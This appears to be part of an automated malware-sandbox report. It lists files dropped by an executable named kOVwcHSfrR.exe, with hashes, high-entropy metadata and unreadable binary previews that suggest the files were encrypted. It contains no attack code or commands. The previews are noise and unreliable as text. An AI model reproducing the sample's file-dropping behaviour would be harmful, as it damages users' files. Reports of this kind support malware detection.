Preview:	OVWVVi..R&...m..<?.a'.E.-[W.....b..k.i.AH.C..0......+..8"z......0..m..%..u_...m.l`i@......O.,A....1.C>&..Rc..An.&.ME....%............"...l...#n.p..4g..R.....c..W..Wj...A...53....v9.@L.X..}.g{.......sz.-.eo.6.yS..me.....>......b.....5...j.;J.T]?T.\.#8.3.S'.8+..R.../..P.........=...P..0..^.1...;K.5....ddyD7......#....x..Q.......s.........8t{.Ax.i2...d...96.s......7M..@5o.d.....^5x.I.F...T..(......)Xi.2w6...4.C..}.......ik...g.e..p(..&.C...%..;.~O.....4..`k.X.f@.6M'..X!.z..........=7.l...q..W...v...f.!.;\|S.Z..NBd;..U(....#..q.ZE)..Yg.......1nDxEv.\|H:...>..._....O..`..PV.u..u.Pk.Z..9.SJ...c.aY...uZu.....v......WQ....^.bO.."..y. Yo...\|}K..x)q.......?..(}..xR..5...6Ez.........q.L_..=...n.zT....WXBW......?...."^x....K..F/.{...N.)b."..-.'s..$....PN.F..jcnu.N....y_M.L..@^.H..Y.....u...3....P.....W..e.....<......{.L.<...!..R.>.D....^B\|..:>...3h...c%&d.~.).dM.egT....../r...D....xm.c............"..P.....L..O.ya..s...a...\|e...2......w@yf].....(.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OVWVVIANZH.pdf

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869085400413857
Encrypted:	false
SSDEEP:	24:kFttZKWyHsD+VjTUVgY6sQ36rh5g43Mp8uZOLWjFrhywxSOoDww2m7ppAbnZw1bD:kFtyWyHsKUVgY6sQ3i5f0RZ/jVFoDw0l
MD5:	F19F0AA5AC516E191F5E71987CB4EF41
SHA1:	CA711B9980E7643A7BD4D8FAD88C880585873104
SHA-256:	9D840E84F8E2CB82DAEBB24C002B61FFFDD60C89BD3A9E95357A6A2DB793A189
SHA-512:	5E35D73F89AB8701B6A9BB2EE845DD4F7FC145BA4E20D22DE0459D17615AA4259B898366FB37A36B0A1520B1FF7C3BA447C421FD27B8AB977BA6B14028773845
Malicious:	false
Preview:	OVWVV.2@.[..+.$.Mr..u?.>4..vh&.=.I..X7...CL.7...>.H.0..I?.;=.....%.^.+81.9..H{Dl'C.....:...E :.z.,..Z`S#r.TH.v..?..pA..[..-..G.u..J3"M....=..".s...u.n......J.k....D.......K..Z.......A.o..T+p.>.}q]YlJ..}....\..x:.../...-r......V..#_7..%'.....v!...0.T,..\|.......M...!.e.].....8.~f(.k...T....Vqz....1......C.........r[........d..i./.%O)....TH...8$.bT./..(s.F......?..d .2.G."T.....4..Y..Z.Ao.AFU..b.y%dG"O.3.ha.qv3..q=.i.E..M`J.2)%. .m...^n.Us......6C....4.Pn....y.M....?.d.....F"J.1.....?....<....".).....}......./.H.........M.aChfP.o..H..(.Xn...._._.dS..#.....5..t.Q..Kv?}...:(.2.....#.. C...s.J.#ha&..{.}.\|.'SplF,.A!+t..........c...6.............9...o....#..C8....n..l.._..4.UN.h....WNk..u.'........:(d....).....af..^._....I..hB...(........7.Z...T.=.Z..+%r../......-?<.T./..s.h.U."..r..=.....`N....y6..A. -.....W.D..>=x...Z.V.t...y..~&.J..q.{........s.y...:Oe..[>2...%X?.4nw....._W......N.z@....}M..q.8...&.aC.)zE..TJHc[..J......$........:).=...r&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OVWVVIANZH.xlsx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860019060815186
Encrypted:	false
SSDEEP:	24:S/KM5Ex9hzk3SoBLgIQ884iVNdRp3S9qxJm1cGurM+rbSpFd7mdUu8w1bD:w5KVzkcIQ5NYqOdAid7mdn8yD
MD5:	747B0A51BFE00551964BD6CA6B280E23
SHA1:	35509D15865F4E0689EE33565A17FE20B44EFDA1
SHA-256:	4560BF2F208BB6F28B24B8D477D30E19679DE1C0FE7F3C44BB2D464BE3BCDB63
SHA-512:	5B0ABB50BF6BEE33BD40A81B5C0D0D4E76E67C297D1CB9A5F9EFF15FF996AC315BBABF210C1635300F7E11EA455D8B0731DCA89806DC7029A126138C3497209A
Malicious:	false
Preview:	OVWVVx.!.UA.1u....2(b.H5.Y..."......V...k...d..dD:...a....~.}/.....O.}........3+..q.b".-..H[......G-....9........\|...>.6.../.........O..c..5.,i.9..........sT......l2f[.........RQS.#.5..qvp.\.,...N.J..Z..Z..2;.+$4.H.(w,....#}.#..IW...j...G.....=.>LP.<8.r.q#6.e.7.........$........';n.4..-..=..S.....1.\.v.e.b..t...\..W^....y.&.NO..y......\|b...>..F..\...ZDz..L..;g...gez...4.gv..p..<.tb..C .O.]Dt...q..H......5A.m.I.iB.p.j..c.K..%.......\.-....~p`...6..Jd.6.'.>r.....q7..A._n......A......=B..lKz.Q..Nb.B..\|...:..(....+&.v.4...b..(...kg....L.U...B.w(3.~.[...wF/....qDi.;O...m..d%.G'...R}U.%...l7..B...e....4......A.ttQ.V...Lx..3...[.$...6.y.....q.....:....,..L.3_...Lv~.'.E...S..l.b...p..n.]...Ti..)..^.z.N.!<5.X..5.0..).$.6FQ.....*..U]].#5...hs.Ec.`.$..W.\|.3.oE"..x^u....2U......w.q1.:.aD.va.j....Pj]..M..+"7...`.s.`A..JI;.....2....^.U}7.....>... F..@.R..-....+R.........Dd.+mSa.G..T.....~.$/6.....js..\|.......j3.6.C..&.F....B.`..g>.Y.v......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846663843632474
Encrypted:	false
SSDEEP:	24:EL/ojnxe7Is1rCh2sGSFT2X9+oYPRvGk+UzLOmWWmmDrw1bD:txA/1ri2ya9+oYPbFzymlmmXyD
MD5:	A1079742DB28153AB946BC7CE1ADC793
SHA1:	E11ADC6ACA0FCD44CDDB8FF1E391FDF28684446B
SHA-256:	6724B9EE9C6515A4D16BBB38B41E054E687513C780E3F929F6DAE31D7DFA6745
SHA-512:	457241E5D0D265E856B1DD0D3491E86D8FB76D2F09F0BFE03BAC929CE46EC7D93533D76B68BFFBEAC35B08D1BD5A50B6BB2F0F3D002133C2FFE52DC061FA3F7D
Malicious:	false
Preview:	PIVFAiPK0....~e.j....f.,.8:.&...Xf......@..&..........e.d..n..Hh....3.U......[/{..Jf-.5.....G....5....i-Z.5...y#..z4..q2.Z..@......>.!..wT.....U.0M.^....ab%...}.f.Rhd.sv[.Z...<......Ou.U..:.d..R.NdoS78Pf..1^.n"<.NU@..{2^......I..] 4."}x..nv.......x..B...3/..P.'\.+.i?8........n.F.... ..0.....>.Y...[.J.U.w-..xY..2.v...kY......M......L=;..ta...UT...N..[\.V.l...`B...0B..0.B.I..>t....aM....sdl..O`.,...L..B......Kh..s.L........cT....\|...Bs<..K(c.....u3e"....82...C...<kc...E..6ZV%J...._H+.j..uz:..p .D...y.... -H......g_.....+.8.,.`...=..Ydp...E........X.B.l.<..U.Yo.^B/...m9.Rh...~m<...@zJ....i\..M..$b.y..Ie..-..>.. m2rv.)s.=.!.k}...ly..+...}..D_....}^+....ZWp?g.......\u.<&e(./y.....3Z.E.&....>ip.6H.A.1.4..).........,..eO.....`.......l.3v. #....}.=O......s\|L.f...*.%70.......\|..$..`.q.K..}..S...........E.......j.^5....E....TB^.%.<.....zq.M..,.ze!.v.....e..OULe.UB....C.e..Pc)z...^.....0.o.>.....1.Ld4(.[..:n...^p..a...\..?...?.4...F...Z..{[.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.pdf

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858449660719739
Encrypted:	false
SSDEEP:	24:qYkMl0s7S//Lri0EhKe9z7EutfAEQ5jD4UJHrMP+h3w1bD:zmse7fex7EpB4iMGh3yD
MD5:	C7F611DD81D1B8CDB57855665DD36295
SHA1:	0BD5E3EB6E4DE022785602A2047C7DC44A6D4411
SHA-256:	F1431D79D44C422A6C53479AA55480AF14BED0B7A0E6C0B0D009E82CD5597B3F
SHA-512:	C644EBC84598571592D5CA1614429246E154F7B63F181AAAD411B51ADE1E74186A329B0A3F09DA8AF02752B1CD2E92D250735DDD8B8968B28D62D0D796371F59
Malicious:	false
Preview:	PIVFA.W.........prcY....rwv.1..SB..W..\|.V..{.3..9.:'..l..y+$.a....V.t..mQ..Y......_mF.....~I..r'.3}l...-.n.8.}3...-.]{.h.Y.......y>.Ok.uP.y...O,..e.\..L.T..........Qs..@...1W...{..<....zu......\|J.g9i,...J............#.'.@.....Z..e..,......?...f..8......T.z.Q.N}...._!U......v.).C.G.`.}2.B.B9.V..dl..{....r..hp-.....1....?.m..ge..<`(....3.J.a.. Vw.W...sEW<..f...Z..<q..(.P..g......ON.M..D....y...%Q........~........8.UX:...-~..o..mzHw..R.e....%q.y...<....o.ws.0e. ...Eh........u....,/..9'.y..R".....#c?...N...h..>.C.rz_.Nqh8........5.#.I/u..P..k........d.BS.V...[s+S.f...F.K...{<......)%..E.5..0[.....k.W..Q....(..:..R...-HL....o...@.gx..C19...u6.2AIM...Z.[..S...p,C.....C4i..F...U..p..J....E?e.T.h..?..>J.S^...;zt0..)nC.}K%q..vT.F^..R....z..sNg3K...........M......... ........]8n...h....l..^v..?..`Z.....FS.4......~n_......Q%....1.......j...1........-...f......%._..NoGcI.e....>d..o..n.#H...(....+..I..6..%B......n....W.n.l31...`{.p....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PIVFAGEAAV.xlsx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.82651156370446
Encrypted:	false
SSDEEP:	24:ewOqfpyFKuI5zi/DMMMeZB7+sQbdT1VxdQj18NefWSZWVrTJGH/lw1bD:p32QzgoMMeZtUdjU1bfWRu9yD
MD5:	7B6F64509F81F8D708D7D1B4DD5EDB93
SHA1:	B920ED4311C4D94E510F9513AEC5A9EBA8862825
SHA-256:	D3F9001B2652B84713A9F0E608CC382C7A678859BD9327527E8992FED03D7C2C
SHA-512:	7C61EE678152CDA4D606ED714471B4848106430E74B16730AB9B302758F31150DED771099E88FD1AD5A20E24AC70F22911D99AB10DD365AD69C47000B3ECF24E
Malicious:	false
Preview:	PIVFA..X.f4..T....g.v";nZU.......[~..Jd!.F<z...........C.o..Xpg.........7........./A......Hv.V:...Lfx_r....s......M.b....EG..m.~Q.@bdC..3.ah.x.E..k...}.._.6......Xagd6M.C..%.:k....jV.Z.J.....GV...lO.] ...3$].cz..+.3.[.>..`(Yn..?..e=.X........%.8.}...}..]b>...$..N....N.....P.._...p.....`.F......5....-0Y.D.G.9.f?y"..H_..8f.I. 5U.+...D0.....'\|.&W9...J._.,yA.&.....{..Y..._V......SQ.dc@..xn..j[L. ..J...P.....Ic@}x....N_4.L...5.w....UZF^....hU$../..6....0eNr.`]..2,.6!J...]....\|...VB..N....[.#.Pw\., .,W.Iv2......$.:.......9........l.j]N+jS@.o.3.)L.&.6....\|y..^..oe.q....k.....~.....>....c+....".H..h.+.s.{.D.K..?.o..D-."O(.N..;#6(..i........x.......].f.\....]....W.Ie..i.H.0.s.d....=0...5@..<.H. r.O%9}....I....$.{....(o.X.6.W5X.. 8.A4.-F..Q6?.m..)....z?.....^....T..>oo3..1UA.4.../.\.w.Q....cA......4]...T...XtFD..$0..=..G.f..@.lHx.\1%{.....`..pMfjE../.......X)B...E!.P.}W.qem...by....:..5.).../..a.)Z....&P-....4.X.{`.g.......;...j2....v...n)..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.jpg

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865664779746686
Encrypted:	false
SSDEEP:	24:U+aloDX0SEHHA01RA3wCJPrsG+gXD+KjKL4NLLRO+VnieCR+ww1bD:vayEI07swhGrS2KL4N5O+V2YwyD
MD5:	4D2C5097F896771F511ED236FEF12256
SHA1:	EB3038BFCB57D7E540980FDB8E0EBFB522D7B566
SHA-256:	266771554C101682C928936113AE54BF3DAC67BB11AB4B10F22D28508ED6AE4C
SHA-512:	117C890D7898BD717C5A622172A8E820D6DBCA1510819EFABA510C6E6AC14458AC439274489258889DC6CB9F4A29B5AC949C6A7A11488C7DB76E15DDBEA16AD8
Malicious:	false
Preview:	PWCCA>O.).l.....5*.{,W...G....Gc.p.I.o.o^&....H.s....U........R.......X.../).;..T...%..c.P.....%..M.p..+m....g.C@T.=..#...3).\|. ...fM.[.....%..\.j....?...x..a.Y..8.....\.y......Ik."...A.s...L3Pan...6r..\.w...%%........<..`B.....,5yo.O....)....\|.2z6Cn.6E..4..q)...u.......i..f....[d.TdE.P.5T.Z..Y..i..8.t.4=....:....dl..w....67.E..C...9xG]rXV.j....~X.x.\.....M.?.)..\..A~S/........li.u.jd.(....).;.R....#Y...?...nB....~t.>.V.t......y\..g.<^.u.."bo.U...8S.K.........`a.,..S8....S........cRH..T....v....:.W..D...p"m..q.n.N5..sNe7..s.G.S"...oR..-......,J+Q.1.5!\....5'.......>U.X.:..Ig..[..,.s.1..-.B.BlA>z.bz.G-..C.9O..j.l.....O./.. j.`...{...n.M..l19m.F.5.2.&.\-.l.(....v. ..\|.d.Z... ..c.w..o..$nl.]&.8...m.U.K<e.3.....O..^;...2}v.bW..Z.6...=.L>.E......1.\.S<joN7..C.UC??..4)\..].H..S....)..M.!..d.1....G.Z6....Qf'..A...1..y..6d6I.O.c{n&M..4MfC...........^3...}&.?...&.$...D.tg...=X/...T.\|gm...W....&....H-...<Av...3r..<...K....l..b.1........e.p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.xlsx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827998176793139
Encrypted:	false
SSDEEP:	24:XSvxNiI0xFaW3UHVBSQNs0QjWjgG6IFZ1OQPQWKSKw5iO8AUMHbbmo7I1h9xj2j/:XSvxNiI0x/3UDBTjF6IFypWzKw5JPUMh
MD5:	E9E5611B204F5A60230D019532DE35E6
SHA1:	1936D4D2FFFB4F661B3AC0732CC9EA9C7BF90184
SHA-256:	60A22D2882EB610191A8C9429BD53E9829C117E6915F7B3535E94AEE35431205
SHA-512:	C943F5DE9D95901FE99F8A4377EE2D1F3115B081BB2A42A949DDC875DC854A8B254A269E8F5F4B09BA3A6F77CE2A91AE0FAEA0B582315C622DFA6296179DCB24
Malicious:	false
Preview:	PWCCA.(f'+[2..x.4.l...5.si...d...a...$.....E...z5.^.rUrv.)4...)..(.A.L..y[.Y....S6.B..j.1L...0p.Qb...\..)=z.j..f..:Qu.....G.B.2.....o.zDz(..m..%...l.?.S...A.....o7W..+....F.c...G(T}....6_/p...S.g......#:l.g.C..t......P.-{...+v..L....oC....W....U.\Ij=...5.....'....#.A.2PW&..........O."n..............e...\./.........?.s....N. ..%....H(...-..K30D.)#.jv.i.^......{..3.A....i"......5v4.... ...p.fI..J-x]#.gO3.!....&..r...Q.....X.w.L....H..s.}..5..t..wxqH.C...F..V...LX\.2!....a...............u...............3.%..XI...8....3.TN.2.i ..B.{..>.Qp.'..)S..d......L1.g..*...q..,....=.......J.....m}... ...].>NF....[....&\|Ht.i..<..0....H..9B.ZB.......tdP....$.,q\|.9.l......z......&.?..........k\..o..7...\S..-+O.3...#..\|.....sJ=....[.YI.%y".....H...yu......YG.1.._.a.0g...Bz;OPh..%N&8...Z.s..Z.l...A...B.67<..8...R...d......A...\|....-......I.'....c.Y.`..h.......\|...../P.........n\|.h0..-......:..g...,.;.i.CGL.^.Ni.}_..V..r+.......D7P.6..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.docx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847400195246081
Encrypted:	false
SSDEEP:	24:hNw2U+AZ4P48MqwRsQqHazPQuQn+LdyGysjUfwmahdoD9w1bD:ha2ZT0hqHoPmcilwoByD
MD5:	BEE8061B83E1EE8B5F305D9BDA9D5D14
SHA1:	25682E8C437724E62BCBB035CA27E8627CE39B40
SHA-256:	66F7F9C1825077D27D7BCE6BCC397C7C2CBD400619EBA760E4B90130151EA534
SHA-512:	19BAEC5B71D4CC7D7F0D815182BD8EC2D0DF231C2FA4BC79370B8D7CC449093D1312F938D3848084D1B7B20EEC23574B3A93C3DCD6DBA22B419B17C9AC8B7140
Malicious:	false
Preview:	QCFWYh..hS6.....~&..>.U...L.g...J..+.SN7.$...I.5a...:#>....L#....]+.....t..........n.4......#..]9.QS.mX./P.....V.....d> ....vcD..8<R]...Kl.63-./H k.6..... ."..}9....A../dK`.....W0..!+e....T..>...~...p.....-,O......Y;.....#t.dU]..i...(..o.BTh..8.....D..1...S......+..;....Hlj.<..G.T6...\.}.........M.a;.......E_.}.p.........cx...3...<.I..-.+....jv.P...p.9r.7....T....F.]..h`\h;..x$...y..P.K...Q..,`S9.#...Sl%.x.y.wZ...3)X..s.-.N.W...0.....k4.\.s(..m..~..........4G....._Qc.N..-.0......U.3P].c.../..A.9....A...:...,S....U......;.9.P(.d.?R.b.\<..$..'..>........F4. ...C...o.....-.LF...m.^......C.......@.....$.:.T.)..$.i..z+..e........iP.7.....U04..9Xj.. .4...J...wf.i...I.m..3..B...].7.o.z.e!&.V."..<..o...c..\a.0.W.;W.....,.=h0.U.;..........S3.....V..w..Fv.7I]Tb.....D.ACys.b.,P...=....VA...4...~...uc.i..H7..0.Kj.....XlKl...7>.9.C...2.W%....T...,@...<..K..z...u.....\|=Z..C"....4[B.o.k`,....c.ff....6.T..'bW.X%7._.j....5.:V...06..l.D....H./..i.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QCFWYSKMHA.pdf

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850889491349007
Encrypted:	false
SSDEEP:	24:fnfzhRCtsR/AdGgeicXZXEnmU0a3OqNx7k2a3IOkZqeQB9G2KBkMSAygrKVivtYF:fnfzXCi3g+pUp3OqrYMdqG2qyjVi1YPd
MD5:	D73F9A075EEE9B0638C673012E500B80
SHA1:	E07955FEAE864A2E9B8668FFFEFB61C1D5AB03FC
SHA-256:	BC02D19871097CCDC89B3DE76064ADD660CA26443AA4274F1233ADE4C1B5360B
SHA-512:	B897AA8A089FBFBDD646DDC7F8CC2902604646AC0E966B9FDAAAB0548C8F2EAAB404240E026351811DF858DF1077E9D55AB0803ED9ABAAC84D781DB676D017AF
Malicious:	false
Preview:	QCFWY.9/..wE\4..LK.cQ.C./.T..SPn;usU../W..b..[....f..F..s}.r`^.\~C.U.....@$..%\..........R..,.Z..V._]..S.-.g.....c...,.L[..B.V....d......h3).v...t...D.[.sW.,..1Uc.....9.@....._.p...X$...0w7l../.....G.5.R..=F.OC:j;.&}.5....e......UK..#Idje.S.L...I[......w.AP./..s...v.}d.M.\.Vq.^.Y.;'.Dq..o;s......1...f6;.7..C..<..,...;....z.....b...,....H.......X.@..P....7hY....lw. a.2.Qu....p..+9.rn.J.@?.=......=-"....d[.... .1........"(.hb\.n....B.x.M..l.-..u.4....4.'....FB.n.n.v\H./................T.xn.c.bb+..r.k....}.m.r.9;V.y..7...I.....8..T%.?.t.y.W..k]...0.......!F.a...o....:.J>5Me;+q..{...G.H.......q.......7..5a1$6...tf5..s..T=..Lv.4O;1.A>.....X.\..h}..(.....N.[..aP...Z.gdq."..V....l!.P^3..A+u["`.~..;61.!.7~..#..-?".6.Tn...Ln......&.o..e..l1......y....{...$...............c..By...q`-...N.f...I..Ks0.^8.........6........./..\g..t.2@z.%k\...c.w...M.......(.Qs..%]....FImA....S..@.+.....z.>....7\...{.............3...&K.Q...7i......Z.+..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QNCYCDFIJJ.docx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83193467967459
Encrypted:	false
SSDEEP:	24:hFCaax3R64sRkCTs7+X8NybX20fthgf3KJaRQKj9QwPIF579Pl+y3ubw1bD:hFkxoa8sY8gbDa3PQWHPY1xlt38yD
MD5:	056CAD36B79495A21E069A214878B9D2
SHA1:	7829B8BAD6720A69E955715D5983CD42309F7EC9
SHA-256:	7474C89111D80FAAA4DC53E90A7A15399A51DAE54239DC80E87242882E27D118
SHA-512:	1EAC639CE9FF1DBF2A3816FF9E1C1BD6E5BEEB2558DADD6D1D6A6AB54C4940F6A0F832D79D81095AA6C216A9F24326CB20C357FF8F2432894D35C86C81B8410D
Malicious:	false
Preview:	QNCYC.....{.o=...z.M..mP.u.d3i..p.s .H.X.n..YOSe.k.>.:Z..&5.n...I..H...q....&..A....M~.K=....x...1x.].&....:j...c.d..m../...3.L.x.&<....4.(;Mc.Bo..k?.......X..^b.O3..B........{......?....66..5.+.o.d...gb=.Z.7.yQ....z.E$.n.o.~..e..F.....'.e.S..F.d...d9y..T.tl.M..+..].E/..O....#F.\Q..Ta...j..c..@.4.+.f..q..^.E...:..>.k.n....T..A........!.ID4a.....Qb%=..C......$~W..PDOE..i4.YK..zi#.....Q..y..T.....w.NN-5.B..p...:.T.......S5....66..."....m.t....y.\.$).<..4....>.pj..oD6/.6........',YCIg.&L.(...i.....\|..f.!x.x.\..&...'.5......L..5....].0.....^...y..F%K>x0..A..8..........V....M.\|..GJ]...0q\1......VLj...W.U.9.oe...}SB..x_.N.a.....W_ S...~t......#..D.6..J..F..r.m.YF..C.<.....x..Yn.3......F.....yAs{...i.J...(.....{6.(.k-...z.#e.G...Y6..."^...Z.i..O.PC.,........O.".M.@+.ir...=./,vB...1.............-.e.2%/.HO.]k4.Kf..C..?T....E...L.g.6..9%.z.V/A....S\$.).#_.EQF.by....>.....0e..U.iBq...P..]..2.6.....o.C4..8...PA3W.....gA.-}...nL..@O.cG

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QNCYCDFIJJ.xlsx

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844756919825065
Encrypted:	false
SSDEEP:	24:8mm7Dlh+2m3DYhDJO3RojvBqnn76AwG4Gw97RGg9lrYpdS1VvYdv8w1bD:8m0r+dUXOhDnnGAwG4x7YErpgt8yD
MD5:	C414C3A1F9495FFCB1E3B1320027B6D8
SHA1:	52FB12A2491193046E45CCAA60D789A734D8BA39
SHA-256:	753D6C4EA16DD93A99EDE6160A08253D93CF71CBAAB852E3D09A3C6CFDC987BF
SHA-512:	83439EBA23765405EBB721F5049F89C6026683C17374C07FC8364A72CDEC63656A7600A1C4389A6FEA935ADB9E71F84AB8691BD4D865584CD301E97787FE9855
Malicious:	false
Preview:	QNCYC.4.../...+....}..8.E...1.G.......1.$...,I..UD.......T...>.>9D...?..].:y.e......Vx..H...jZ....a.l+..{L....qo.J8J.w.Lf....3.a.Y..).8.3/.73.......Hx..k.ND.0.S....{M....WSJh..e.&y..gI".x..\|.y.ND.G.A.Y(.._....f.I............/.XI;.-.....T.@.1....?CU....R...QSxQ...:s......E..m..2.q..E..y../....s.azS.._aWt.^.Qp.&....^..i.K..i..4../w[....J.;."_..tg~.6E.......=Zq..k[B1O.=.`.Z...1-s.r.u".q...6r.L.K.q1....l../.....W.V.~..X.....P.Ic..#.4..J.._...5e...5?..},.......rf.(..a....3b...3...._...r.;...w....8J.....{K.2..WLW.9.U\|X..[.....g...T..n.13...5.T......&..~5.n..gzl..]...(gF..:.tt.T..I....Iu.H>_.m.#...I...~.i.....j.(.(DD.@....\|Um...j...x./KZRZe ....oM.%$~.....(..?".../....P'4.+..p_.t.\|.."e.$tA.7.4sM.~a..C....~...mp.+....@U....9.3..\|......<...v.n....plX..x.s.+.?H..X.....!...]R{.r..lx.u..~.......K..f...y.?)2.^"M...4=P....]..V.(.;]...h....ya..Y../iS..U..&....3..4oye.r.\\|CW.\|.jB..H..cpU...h..F. .!..R.A..\.E..)...p.oR................i.L('T...[n.Jl..OQ..,wG

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQSJKEBWDT.jpg

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83898748797451
Encrypted:	false
SSDEEP:	24:Pr5DaiZd9eHxfXtQjSNTxkBewi52Gm1drtZm6OjuCJ3OsqoajIfo9Q1RDHlVlEM1:Pr5DfHkHxqGlxkJiEpXDOV/qoajIfo90
MD5:	7FDF20BB09DFF5E54CBA167000106E90
SHA1:	711CB427D5731A14CE3C558B2CB98990FEABA2A7
SHA-256:	6D50D10E68EEEE229AEBA552A710EF4A0D7C9F6802375908F2D5CCEB84F3AFB1
SHA-512:	F4E8A8202963E77F0C1D2744B425B8C372AF435FC05E23A6008E13BC600E07F62B166DB9519DFC704D377A274F1E443D28922781069174B94ACCA92A8926349D
Malicious:	false
Preview:	SQSJK.q;I;..o9.....!.F....\|.$.x;.?V..PG.X......)QX.<j?......VR.....'.,X.5..=X3W%..K..SQXs...K.....h.n......p...-....K.(....C&..K..f.-....-.a....0...#..z.Gz Nstp!VSxB(...68.a..'......t.5..vH.x.k...T:.V....<c.Y...........1..+..G.....a. .j..K...vz........:...T~....hS.[Q...LW....VOp..(....}....7...x....\w..0.,h...]..\....t.V.P.............No....wo.XS.m+..h....E......+.....Tv.L.Qx.0cL...kzR>W...l7.".s]P.......r.....C......Q..}...x}M..s..>..(...hW....*5......R.=.&nt.u....s.jvv.....=J.k..p........=R...Z...<up...wZB; ....h..Zt...r4..?t.9l...r....6.N..@D.n:.....\|&X>....e...M.-3.A....h...].99..s.....@..qv.[....ni./..K....Y.vd..,..9...>.\w.f....S..g..[.(..T.2.7...66.~....T.Q.........:.......v..TwRp....o.H.WdW....>L..Bd0Q.... .\6.9.......V..7p.xt...T.@/ .<yy..n.5...9.9..7`./..t...(.'..pn.l.......F.q....42.G.4.#..Du(..z.....%..V....X]]....5.\|.4..O.z(j.....7../..M).^&p.b.5}....;\..+-...S{.).`?....}..ym...e..0]..u&...qk.4.+gj.J..G....0.P..x.u]A-..w.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840261624861958
Encrypted:	false
SSDEEP:	24:BgGhk6QAV9H/qKZb0c0idaB1089Kk/HTFl6UUBZ/oc5FE9sInLciMF78Hi9Vxw1X:Bnhv3/q+by1rVvTz6UUBz09sInYiMFs1
MD5:	F77EFBA0C1862520FC6CD11641883861
SHA1:	98DF221564B9820294A7450989FAB93AE4082781
SHA-256:	E344C1E3E8FDAFD5B3DB871903A9ABC1AD6A0B374CC2305120C7E3C23C8C5C21
SHA-512:	BFBE096894CEAC5CB96D989F745C11203F7D0EE93957F76FE7AF4D3C09FCA904847A50FB8092BE090C70F12340149CC660E6D3E3EE53061506EFB1C1CD942B4B
Malicious:	false
Preview:	SUAVT...a...[.....&1dE.SI.../..m.\|F.xDr.G...U.{.....R.V....f.C..Z....OH..M...xb.c...R...OX..Q+.A.C.(.\..`s!..N.&.A..1.>5.. ...c .a...YZ..e..'...?........ .@......(.I`s..t..........i....u..-...o.....H.h.F.WEnp,...I7.@rJ.9PE+O.@z...n...:.d.;z...]#..D.=.....79./.....C#....w.UH.4.d....=I'..f.....oY..RSg..'h..(..Q.\|g....]..b..h..7....6.`.C......8?y.FH.<..A..M]..3.s f.9..r>..\|8.....:d....1^a...D..Q.C%.........:.s...oX@.X.#=...'...or......I..mg."...F........W;.1..jJ...L.v.5Xn#..f..}..w..n...g.%..WPw+<.2...eH....{1......L.m.B[...I>l\|.;.......<..O..6..d.P...B...5..&3rK+..h.........]..d5._....31.R..1.d....1.....L..Y..t...{...JS..b.pV_5.D....._....W.....H...j;A.4.i$..&....H.E#.qh..a}PH.i.d...x[?.....7IS-...R...(.]._S..LQ.;._....i&.d.,.........g....5....q)qG(..Z.@......t....!..r1.0v...x.....W.8..ta....?.v..,;D...h...o....P.yA...i........G..2>....x....<.#.F.yy.k...4.V.fHK^.....<.>.8a...=(q{J.a....VUV.d>.Y....3.=.U..]...h...=..._..}.....$

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WSHEJMDVQC.jpg

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859592219650555
Encrypted:	false
SSDEEP:	24:Ai5IvrdM2IdjHM0Q77sHiCyO99FcBT6WqzYeYDKLf+L4xKLm6d+w1bD:Aih2IlCiiCyO3O20Or+L4xKLxd+yD
MD5:	484CF0EED2375F805C9CF48DB17A6FBF
SHA1:	09630FDF4BB28E1C32DE12DCCB15FDDA9C766233
SHA-256:	D602501B39AC9C7682A7A5192F48841BBA9D770E52345A6A3603C65C68D0219F
SHA-512:	2E08A461A8B9C1D47E8A254622DC8051FD629A0A8E20A91ECC05CDCDACD407EDE2889D11B78B321EB56D316146014EAF9D5E52D2EE443DBC54AF6593A3C6CEEA
Malicious:	false
